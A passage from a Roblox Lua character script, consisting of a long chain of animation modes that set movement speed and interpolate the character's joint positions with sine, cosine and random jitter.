ANGLES(RAD(165 + MRANDOM(-1000000,1000000)), RAD(MRANDOM(-1000000,1000000)), RAD(MRANDOM(-1000000,1000000)))* RIGHTSHOULDERC0, 3 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0.5) * ANGLES(RAD(MRANDOM(-1000000,1000000)), RAD(MRANDOM(-1000000,1000000)), RAD(MRANDOM(-1000000,1000000))) * LEFTSHOULDERC0, 3 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1 , -1, 0) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(-5 + 70 * SIN(SINE / 6))), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(5 + 70 * SIN(SINE / 6))), 1 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90+MRANDOM(-1000000,1000000)),math.rad(MRANDOM(-1000000,1000000)),math.rad(MRANDOM(-1000000,1000000))),1) elseif mde == 28 then Speed = 55 RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, -0.1+0.15* SIN(SINE / 3)) * ANGLES(RAD(15+3 * SIN(SINE / 3)), RAD(0), RAD(0+5 * SIN(SINE / 6))), 0.8 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0 - 2.5 * SIN(SINE / 12)), RAD(0), RAD(0)), 0.15 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, -0.5) * ANGLES(RAD(175 + 5 * COS(SINE / 12)), RAD(0), RAD(30))* RIGHTSHOULDERC0, 0.15 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.2, 0.5, 0.5) * ANGLES(RAD(0), RAD(0), RAD(45)) * LEFTSHOULDERC0, 0.15 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1 , -1, 0) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(-5 + 70 * SIN(SINE / 6))), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(5 + 70 * SIN(SINE / 6))), 1 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(0.05,-1,-0.15) * CFrame.Angles(math.rad(doe * 22),math.rad(0),math.rad(0)),1/2) elseif mde == 29 then Speed = 65 RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 1 - 0.5 * COS(SINE / 15)) * ANGLES(RAD(30), RAD(0), RAD(0)), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(-30+MRANDOM(-2,2)), RAD(MRANDOM(-2,2)), RAD(MRANDOM(-2,2))), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(165 + 15 * COS(SINE / 15)), RAD(0), RAD(0))* RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(120), RAD(0), RAD(-10 + 15 * COS(SINE / 15))) * LEFTSHOULDERC0, 1 / Animation_Speed) snap = math.random(1,60) if snap == 1 then Neck.C0 = Clerp(Neck.C0,NECKC0*CF(0,0,0+((1)-1))*ANGLES(math.rad(math.random(-10000,10000)),math.rad(math.random(-10000,10000)),math.rad(math.random(-10000,10000))), 3 / Animation_Speed) end snap2 = math.random(1,60) if snap2 == 1 then RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1, 0.5, -0.6) * ANGLES(math.rad(math.random(-10000,10000)),math.rad(math.random(-10000,10000)),math.rad(math.random(-10000,10000))) * RIGHTSHOULDERC0, 3 / Animation_Speed) end snap3 = math.random(1, 60) if snap3 == 1 then LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1, 0.5, -0.6) * ANGLES(math.rad(math.random(-10000,10000)),math.rad(math.random(-10000,10000)),math.rad(math.random(-10000,10000))) * LEFTSHOULDERC0, 3 / Animation_Speed) end snap4 = math.random(1, 60) if snap4 == 1 then LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(5 + 70 * SIN(SINE / 6))), 1 / Animation_Speed) end snap4 = math.random(1, 60) if snap4 == 1 then RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.05 * COS(SINE / 12), 0) * ANGLES(RAD(MRANDOM(-10000,10000)), RAD(90+MRANDOM(-10000,10000)), RAD(MRANDOM(-10000,10000))) * ANGLES(RAD(MRANDOM(-10000,10000)), RAD(MRANDOM(-10000,10000)), RAD(MRANDOM(-10000,10000))), 3 / Animation_Speed) end snap5 = math.random(1, 60) if snap5 == 1 then LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.05 * COS(SINE / 12), 0) * ANGLES(RAD(MRANDOM(-10000,10000)), RAD(90+MRANDOM(-10000,10000)), RAD(MRANDOM(-10000,10000))) * ANGLES(RAD(MRANDOM(-10000,10000)), RAD(MRANDOM(-10000,10000)), RAD(MRANDOM(-10000,10000))), 3 / Animation_Speed) end snap6 = math.random(1, 60) if snap6 == 1 then RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0) * ANGLES(RAD(MRANDOM(-10000,10000)), RAD(MRANDOM(-10000,10000)), RAD(MRANDOM(-10000,10000))), 3 / Animation_Speed) end RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.05 * COS(SINE / 12), -0.5) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(0), RAD(-60), RAD(15)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 1 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 30 then Speed = 459.5 RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.100000000000000 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.100000000000000 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(0), RAD(0), RAD(90))* RIGHTSHOULDERC0, 0.100000000000000 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(0), RAD(0), RAD(-90)) * LEFTSHOULDERC0, 0.100000000000000 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1, 0) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.100000000000000 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.100000000000000 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(90),math.rad(0),math.rad(0)),1) elseif mde == 31 then Speed = 27 RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 1.5 + 1.1 * SIN(SINE / 26)) * ANGLES(RAD(40 - 2.5*SIN(SINE/24)), RAD(0), RAD(0)), 0.15 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(41), RAD(0), RAD(0)), 0.15 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(185), RAD(0), RAD(15))* RIGHTSHOULDERC0, 0.15 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(40), RAD(0), RAD(5)) * LEFTSHOULDERC0, 0.15 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1 , -1, -0.5) * ANGLES(RAD(20), RAD(90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.15 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(20), RAD(-90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 2 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 32 then Speed = 105 RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 3 - 1.5 * COS(SINE / 28)) * ANGLES(RAD(30), RAD(0), RAD(0)), 0.15 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(-20), RAD(0), RAD(0)), 0.15 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CFrame.new(1.5, 0.5, 0.5) * CFrame.Angles(math.rad(250), math.rad(20), math.rad(-80))* RIGHTSHOULDERC0, 1 / 3) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(120), RAD(0), RAD(1*COS(SINE/15))) * LEFTSHOULDERC0, 0.15 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1, -0.5) * ANGLES(RAD(-30), RAD(80), RAD(0)) * ANGLES(RAD(-1), RAD(0), RAD(0)), 0.15 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(-30), RAD(-80), RAD(0)) * ANGLES(RAD(-1), RAD(0), RAD(0)), 1 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90-10*SIN(SINE/15)),math.rad(0),math.rad(0)),1) elseif mde == 33 then Humanoid.HipHeight = 1.5 Speed = 20 RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(-00.1*COS(SINE/12), 0, 00.1*COS(SINE/15)) * ANGLES(RAD(10), RAD(0), RAD(0)), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(-10 - 2.5 * SIN(SINE / 12)), RAD(0), RAD(0)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(165), RAD(0), RAD(20))* RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1, 0.4, -0.7) * ANGLES(RAD(86), RAD(9), RAD(75)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -0.6 - 0.05 * SIN(SINE / 12), -0.5) * ANGLES(RAD(0), RAD(70), RAD(0)) * ANGLES(RAD(-1), RAD(0), RAD(-35)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.05 * SIN(SINE / 12), 0) * ANGLES(RAD(-15), RAD(-70), RAD(0)) * ANGLES(RAD(1), RAD(0), RAD(0)), 1 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 34 then Speed = 85 RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, -0.1) * ANGLES(RAD(20), RAD(0), RAD(20 * COS(SINE/10))), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(-10), RAD(0), RAD(-8 * COS(SINE/10))), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(145+5*COS(SINE/12)), RAD(0), RAD(10))* RIGHTSHOULDERC0, 0.15 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(-75), RAD(0), RAD(-8)) * LEFTSHOULDERC0, 0.15 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1 , -1, 0) * ANGLES(RAD(60 * COS(SINE/10)), RAD(90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(-60 * COS(SINE/10)), RAD(-90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 35 then Speed = 85 RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, -0.1) * ANGLES(RAD(20), RAD(0), RAD(20 * COS(SINE/10))), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(-10), RAD(0), RAD(-8 * COS(SINE/10))), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(145+5*COS(SINE/12)), RAD(0), RAD(10))* RIGHTSHOULDERC0, 0.15 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(55 * COS(SINE/15)), RAD(0), RAD(-5)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1 , -1, 0) * ANGLES(RAD(60 * COS(SINE/10)), RAD(90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(-60 * COS(SINE/10)), RAD(-90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 36 then Speed = 18 RootJoint.C0 = Clerp(RootJoint.C0, ROOTC0 * CF(0, 0, -0.175 + 0.025 * COS(SINE / 3.5) + -SIN(SINE / 3.5) / 7) * ANGLES(RAD(9-2.5 * COS(SINE / 3.5)), RAD(0), RAD(10 * COS(SINE / 7))), 0.15) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(MRANDOM(-20,20) - 4 * COS(SINE / 12)), RAD(MRANDOM(-20,20)), RAD(MRANDOM(-5,5))), 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -0.925 - 0.5 * COS(SINE / 7) / 2, 0.5 * COS(SINE / 7) / 2) * ANGLES(RAD(-15 - 35 * COS(SINE / 7)) + -SIN(SINE / 7) / 2.5, RAD(90 - 2 * COS(SINE / 7)), RAD(0)) * ANGLES(RAD(0 + 2.5 * COS(SINE / 7)), RAD(0), RAD(0)), 0.3) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -0.925 + 0.5 * COS(SINE / 7) / 2, -0.5 * COS(SINE / 7) / 2) * ANGLES(RAD(-15 + 35 * COS(SINE / 7)) + SIN(SINE / 7) / 2.5, RAD(-90 - 2 * COS(SINE / 7)), RAD(0)) * ANGLES(RAD(0 - 2.5 * COS(SINE / 7)), RAD(0), RAD(0)), 0.3) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1, 0.5 + 0.05 * SIN(SINE / 30), 0.025 * COS(SINE / 20)) * ANGLES(RAD(-70) * COS(SINE / 7) , RAD(-90), RAD(-5)), 0.1) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(145+5*COS(SINE/12)), RAD(0), RAD(10))* RIGHTSHOULDERC0, 0.15 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 37 then Speed = 24 RootJoint.C0 = Clerp(RootJoint.C0, ROOTC0 * CF(0, 0, -0.175 + 0.025 * COS(SINE / 3.5) + -SIN(SINE / 3.5) / 7) * ANGLES(RAD(9-2.5 * COS(SINE / 3.5)), RAD(0), RAD(10 * COS(SINE / 7))), 0.15) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -0.925 - 0.5 * COS(SINE / 7) / 2, 0.5 * COS(SINE / 7) / 2) * ANGLES(RAD(-15 - 35 * COS(SINE / 7)) + -SIN(SINE / 7) / 2.5, RAD(90 - 2 * COS(SINE / 7)), RAD(0)) * ANGLES(RAD(0 + 2.5 * COS(SINE / 7)), RAD(0), RAD(0)), 0.3) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -0.925 + 0.5 * COS(SINE / 7) / 2, -0.5 * COS(SINE / 7) / 2) * ANGLES(RAD(-15 + 35 * COS(SINE / 7)) + SIN(SINE / 7) / 2.5, RAD(-90 - 2 * COS(SINE / 7)), RAD(0)) * ANGLES(RAD(0 - 2.5 * COS(SINE / 7)), RAD(0), RAD(0)), 0.3) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1, 0.5 + 0.05 * SIN(SINE / 30), 0.025 * COS(SINE / 20)) * ANGLES(RAD(-70) * COS(SINE / 7) , RAD(-90), RAD(-5)), 0.1) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(145+5*COS(SINE/12)), RAD(0), RAD(10))* RIGHTSHOULDERC0, 0.15 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 38 then Speed = 50 RootJoint.C0 = Clerp(RootJoint.C0, ROOTC0 * CF(0* 1, 0* 1, -0.175 + 0.025 * COS(SINE / 3.5) + -SIN(SINE / 3.5) / 7* 1) * ANGLES(RAD(26 - 4.5 * COS(SINE / 3.5)), RAD(0) - RootPart.RotVelocity.Y / 75, RAD(15 * COS(SINE / 7))), 0.15) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(15 - 2.5 * SIN(SINE / 15) + MRANDOM(-20,20)), RAD(0 + MRANDOM(-20,20)), RAD(-10 + MRANDOM(-20,20))), 3 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1* 1, -0.925 - 0.5 * COS(SINE / 7) / 2* 1, 0.7 * COS(SINE / 7) / 2* 1) * ANGLES(RAD(-15 - 55 * COS(SINE / 7)) - RightLeg.RotVelocity.Y / 75 + -SIN(SINE / 7) / 2.5, RAD(90 - 0.1 * COS(SINE / 7)), RAD(0)) * ANGLES(RAD(0 + 0.1 * COS(SINE / 7)), RAD(0), RAD(0)), 0.3) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1* 1, -0.925 + 0.5 * COS(SINE / 7) / 2* 1, -0.7 * COS(SINE / 7) / 2* 1) * ANGLES(RAD(-15 + 55 * COS(SINE / 7)) + LeftLeg.RotVelocity.Y / 75 + SIN(SINE / 7) / 2.5, RAD(-90 - 0.1 * COS(SINE / 7)), RAD(0)) * ANGLES(RAD(0 - 0.1 * COS(SINE / 7)), RAD(0), RAD(0)), 0.3) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(145+5*COS(SINE/12)), RAD(0), RAD(10))* RIGHTSHOULDERC0, 0.15 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(165 + MRANDOM(-20,20)), RAD(0 + MRANDOM(-20,20)), RAD(22 + MRANDOM(-20,20))) * LEFTSHOULDERC0, 0.8 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 39 then Speed = 25 RootJoint.C0 = Clerp(RootJoint.C0, ROOTC0 * CF(0, 0, -0.175 + 0.025 * COS(SINE / 3.5) + -SIN(SINE / 3.5) / 7) * ANGLES(RAD(9-2.5 * COS(SINE / 3.5)), RAD(0), RAD(10 * COS(SINE / 7))), 0.15) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -0.925 - 0.5 * COS(SINE / 7) / 2, 0.5 * COS(SINE / 7) / 2) * ANGLES(RAD(-15 - 35 * COS(SINE / 7)) + -SIN(SINE / 7) / 2.5, RAD(90 - 2 * COS(SINE / 7)), RAD(0)) * ANGLES(RAD(0 + 2.5 * COS(SINE / 7)), RAD(0), RAD(0)), 0.3) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -0.925 + 0.5 * COS(SINE / 7) / 2, -0.5 * COS(SINE / 7) / 2) * ANGLES(RAD(-15 + 35 * COS(SINE / 7)) + SIN(SINE / 7) / 2.5, RAD(-90 - 2 * COS(SINE / 7)), RAD(0)) * ANGLES(RAD(0 - 2.5 * COS(SINE / 7)), RAD(0), RAD(0)), 0.3) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(145+5*COS(SINE/12)), RAD(0), RAD(10))* RIGHTSHOULDERC0, 0.15 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1, 0.5, 0.5) * ANGLES(RAD(-15), RAD(12), RAD(43)) * LEFTSHOULDERC0, 0.8 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 40 then Speed = 125 RootJoint.C0 = Clerp(RootJoint.C0, ROOTC0 * CF(0* 1, 0* 1, -0.175 + 0.025 * COS(SINE / 3.5) + -SIN(SINE / 3.5) / 7* 1) * ANGLES(RAD(26 - 4.5 * COS(SINE / 3.5)), RAD(0) - RootPart.RotVelocity.Y / 75, RAD(15 * COS(SINE / 7))), 0.15) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(-20), RAD(0), RAD(0)), 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1* 1, -0.925 - 0.5 * COS(SINE / 7) / 2* 1, 0.7 * COS(SINE / 7) / 2* 1) * ANGLES(RAD(-15 - 55 * COS(SINE / 7)) - RightLeg.RotVelocity.Y / 75 + -SIN(SINE / 7) / 2.5, RAD(90 - 0.1 * COS(SINE / 7)), RAD(0)) * ANGLES(RAD(0 + 0.1 * COS(SINE / 7)), RAD(0), RAD(0)), 0.3) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1* 1, -0.925 + 0.5 * COS(SINE / 7) / 2* 1, -0.7 * COS(SINE / 7) / 2* 1) * ANGLES(RAD(-15 + 55 * COS(SINE / 7)) + LeftLeg.RotVelocity.Y / 75 + SIN(SINE / 7) / 2.5, RAD(-90 - 0.1 * COS(SINE / 7)), RAD(0)) * ANGLES(RAD(0 - 0.1 * COS(SINE / 7)), RAD(0), RAD(0)), 0.3) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(145), RAD(0), RAD(10))* RIGHTSHOULDERC0, 0.15 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(-90), RAD(0), RAD(-10)) * LEFTSHOULDERC0, 0.8 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 41 then Speed = 50 RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0 + 0.2 * COS(SINE / 6)) * ANGLES(RAD(25), RAD(0), RAD(8*COS(SINE/12))), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(-20), RAD(0), RAD(-6*COS(SINE/12))), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(-65), RAD(0), RAD(10)) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(60*COS(SINE/12)), RAD(-10), RAD(10)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1 , -1 - 0.2 * COS(SINE / 6), 0) * ANGLES(RAD(60*COS(SINE/12)), RAD(90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(-10)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.2 * COS(SINE / 6), 0) * ANGLES(RAD(-60*COS(SINE/12)), RAD(-90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(10)), 1 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 42 then Speed = 22 RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0 + 0.2 * COS(SINE / 12)) * ANGLES(RAD(25), RAD(0), RAD(8*COS(SINE/16))), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(20), RAD(10), RAD(0)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(190), RAD(30), RAD(5)) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.4, 0.5, -0.4) * ANGLES(RAD(25), RAD(-30), RAD(0)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1 , -1 - 0.2 * COS(SINE / 12), 0) * ANGLES(RAD(40*COS(SINE/16)), RAD(90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(-5)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.2 * COS(SINE / 12), 0) * ANGLES(RAD(-40*COS(SINE/16)), RAD(-90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(5)), 1 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 43 then Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(-40), RAD(0 + 1.5 * COS(SINE / 34)), RAD(0 + 1.5 * COS(SINE / 34))), 3 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(0), RAD(0), RAD(15+ 5 * COS(SINE / 19))) * RIGHTSHOULDERC0, 0.8 / Animation_Speed) RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 2.5 + 0.5 * COS(SINE / 19)) * ANGLES(RAD(90), RAD(0), RAD(0+ 4 * COS(SINE / 19))), 0.8 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(0), RAD(0), RAD(-15- 5 * COS(SINE / 19))) * LEFTSHOULDERC0, 0.8 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -0.3 - 0.1 * COS(SINE / 34), -0.5) * ANGLES(RAD(0), RAD(80), RAD(0)) * ANGLES(RAD(-4), RAD(0), RAD(0)), 0.8 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.1 * COS(SINE / 34), -0.01) * ANGLES(RAD(0), RAD(-80), RAD(0)) * ANGLES(RAD(-4), RAD(0), RAD(0)), 0.8 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 44 then Speed = 19 RootJoint.C0 = Clerp(RootJoint.C0, ROOTC0 * CF(0, 0, -0.175 + 0.025 * COS(SINE / 3.5) + -SIN(SINE / 3.5) / 7) * 